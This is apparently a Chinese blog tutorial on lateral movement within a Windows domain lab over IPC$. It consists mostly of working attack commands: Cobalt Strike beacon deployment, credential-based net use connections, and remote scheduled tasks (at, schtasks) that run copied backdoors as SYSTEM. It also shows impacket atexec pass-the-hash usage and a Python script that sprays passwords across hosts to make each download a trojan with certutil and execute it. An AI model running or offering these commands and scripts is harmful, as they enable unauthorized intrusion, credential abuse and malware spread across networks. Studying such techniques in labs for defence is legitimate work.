• 【内网安全】横向移动-IPC


    环境介绍

    已经获取到了webserver服务器的权限
    横向移动到其他域内主机

    域信息收集-目标&用户&凭据&网络

    net user /domain 获取域内用户
    mimikatz logonpasswords
    Ladon Adfinder BloodHound 
    
    判断是不是在域内

    CS: shell net time /domian

    同时获取到了它的域名

    获取域控主机的内网ip

    CS:shell ping OWA2010CN-God.god.org

    推测 192.168.3.21就是域控主机

    端口扫描内网

    判断出内网是在3网段,端口扫描3网段

    目标列表

    获取主机密码

    可以抓hash也可以抓明文

    当完成以上步骤后,就可以开始进行横向移动了

    域横向移动-IPC-命令版-AT&schtasks

    0、上线配置
    正向:
    beacon_bind_tcp->beacon.exe
    connect 192.168.3.32 4444
    

    创建一个正向的监听器

    反向:

    代理转发->转发上线->beacon.exe

    1、at < Windows2012
    建立ipc连接:
    shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
    
    拷贝执行文件到目标机器
    shell copy 4444beacon.exe \\192.168.3.21\c$
    
    添加计划任务
    shell at \\192.168.3.21 21:44 c:\4444beacon.exe
    
    正向连接上线
    connect 192.168.3.21 4444
    

    2、schtasks >=Windows2012
    建立连接并登录
    连接 需要账号密码
    shell net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator
    
    建立ipc连接:
    ministrator
    
    复制文件到其C盘
    shell copy 4445.exe \\192.168.3.32\c$ 
    
    域用户登录使用(可能需要域控权限)
    创task任务对应执行文件
    shell schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn task /sc DAILY /tr c:\4445.exe /F 
    
    运行task任务
    shell schtasks /run /s 192.168.3.32 /tn task /i
    
    删除task任务
    shell schtasks /delete /s 192.168.3.21 /tn task /f   
    
    本地用户使用
    创建定时任务
    shell schtasks /S 192.168.3.32 /U administrator /P Admin12345 /Create /TN task /TR 'c:\4445.exe' /SC once /ST 23:29 /f
    
    立即运行计划 
    shell schtasks /S 192.168.3.32 /U administrator /P Admin12345 /RUN /TN task /i
    
    删除计划任务:
    schtasks /Delete /S 192.168.3.32 /U admin /P 123456 /TN task /f
    
    关于IPC

    IPC是专用管道,可以实现对远程计算机的访问,
    需要使用目标系统用户的账号密码,使用139445端口。

    1. 建立IPC链接到目标主机
    2. 拷贝要执行的命令脚本到目标主机
    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
    4. 删除IPC链接
    查看ipc连接
    shell net use
    
    删除ipc连接
    shell net use (主机) /del
    
    工作组
    net use \\server\ipc$ "password" /user:username 
    
    域内
    net use \\server\ipc$ "password" /user:domain\username
    
    查看文件列表
    dir \\xx.xx.xx.xx\C$\ 
    
    下载文件
    copy \\xx.xx.xx.xx\C$\1.bat 1.bat 
    
    复制文件
    copy 1.bat \\xx.xx.xx.xx\C$
    
    删除IPC
    net use \\xx.xx.xx.xx\C$\1.bat /del 
    
    查看对方共享
    net view xx.xx.xx.xx                
    

    建立IPC常见的错误代码

    (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
    (2)51:网络问题,Windows 无法找到网络路径
    (3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
    (4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
    (5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
    (6)1326:账号密码错误
    (7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
    (8)2242:用户密码过期,目标有账号策略,强制定期更改密码

    建立IPC失败的原因

    (1)目标系统不是NT或以上的操作系统
    (2)对方没有打开IPC$共享
    (3)对方未开启139、445端口,或者被防火墙屏蔽
    (4)输出命令、账号密码有错误

    域横向移动-IPC-插件版-CS&LSTARS

    LSTARS-横向移动-IPC连接

    域横向移动-IPC-套件版-Impacket-atexec

    impacket-atexec
    该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
    在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

    1、Py版:

    GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.
    常用命令

    python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
    
    python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
    
    2、Exe版:(不推荐 文件太大)

    RichChigga/impacket-examples-windows

    CS本地用户明文连接:
    shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
    
    CS域内用户明文连接:
    shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"
    
    CS域内本地用户明文密文连接:
    shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
    
    shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
    

    域横向移动-IPC-代理版-Socks&Py&atexec

    1、建立SOCK节点并连接


    写你的服务器地址

    配置主机代理网段

    搭建好后就可以在本地用py文件进行渗透测试了

    python atexec.py god/administrator: Admin12345@192.168.3.21 "ver"
    
    python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
    
    2、自写脚本批量下载上线

    运行脚本时请先将python.exe加入到代理里面。

    import os,time
    ips={
        '192.168.3.21',
        '192.168.3.25',
        '192.168.3.29',
        '192.168.3.30',
        '192.168.3.32'
    }
    
    users={
        'Administrator',
    } 
    passs={ 
        'admin!@#45'
        'Admin12345'
    }
    
    
    def xz():#下载后门
        for ip in ips:
            for user in users:
                for mima in passs:
                    exec1='D:\Python\python-3.8.10\python.exe D:\\tools\内网\impacket-0.11.0\examples\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil.exe -urlcache -split -f http://192.168.3.31:80/4445.exe 4445.exe"'
                    exec2='D:\Python\python-3.8.10\python.exe D:\\tools\内网\impacket-0.11.0\examples\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil.exe -urlcache -split -f http://192.168.3.31:80/4445.exe 4445.exe"'
                    #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                    print('--->'+exec1+'<---')
                    print('--->' + exec2 + '<---')
                    os.system(exec1)
                    os.system(exec2)
    
    def zx():#执行后门
        for ip in ips:
            for user in users:
                for mima in passs:
                    #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                    exec1 = 'D:\Python\python-3.8.10\python.exe D:\\tools\内网\impacket-0.11.0\examples\\atexec.py ./administrator:' + mima + '@' + ip + ' "c:/4445.exe"'
                    exec2 = 'D:\Python\python-3.8.10\python.exe D:\\tools\内网\impacket-0.11.0\examples\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/4445.exe"'
                    #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                    print('--->' + exec1 + '<---')
                    print('--->' + exec2 + '<---')
                    os.system(exec1)
                    os.system(exec2)
    
    if __name__ == '__main__':
        xz()
        zx()
    

    certutil.exe -urlcache -split -f http://192.168.3.31:80/4445.exe 4445.exe
    192.168.3.31:80 网站根目录下的 4445.exe 下载到本地
    其中网站根目录位置一般是 C:/input/wwwroot/
    192.168.3.31 就是网站服务器,我们将木马上传到这个网站目录上,让内网里面的其他主机区去下载木马并执行

    3、继续收集凭据横向移动

    通过上线更多的主机,可以提取到更多的账号密码,然后将密码填入脚本里面,进而上线更多主机

  • 相关阅读:
    node.js
    MoveFunsDAO 星航计划|从Move入门Web3与深入实践「公益课堂」
    App Inventor 2 题库设计制作流程
    Linux(三)- Vi 和 Vim 编辑器
    源码编译risc-v虚拟机和编译器 riscv-gnu-toolchain 和 riscv-tools 在ubuntu 22.04
    覆盖5大任务,30+特色模型,高性能、全流程开发套件PaddleRS助力遥感影像智能解译化繁为简...
    【前端开发】前端开发深度解析:HTML、CSS、JavaScript与Vue.js
    【ES6】Promise
    精进 JavaScript | 这些手写你都会吗 ?
    使用Requests发送HTTP请求
  • 原文地址:https://blog.csdn.net/qq_55349490/article/details/140465529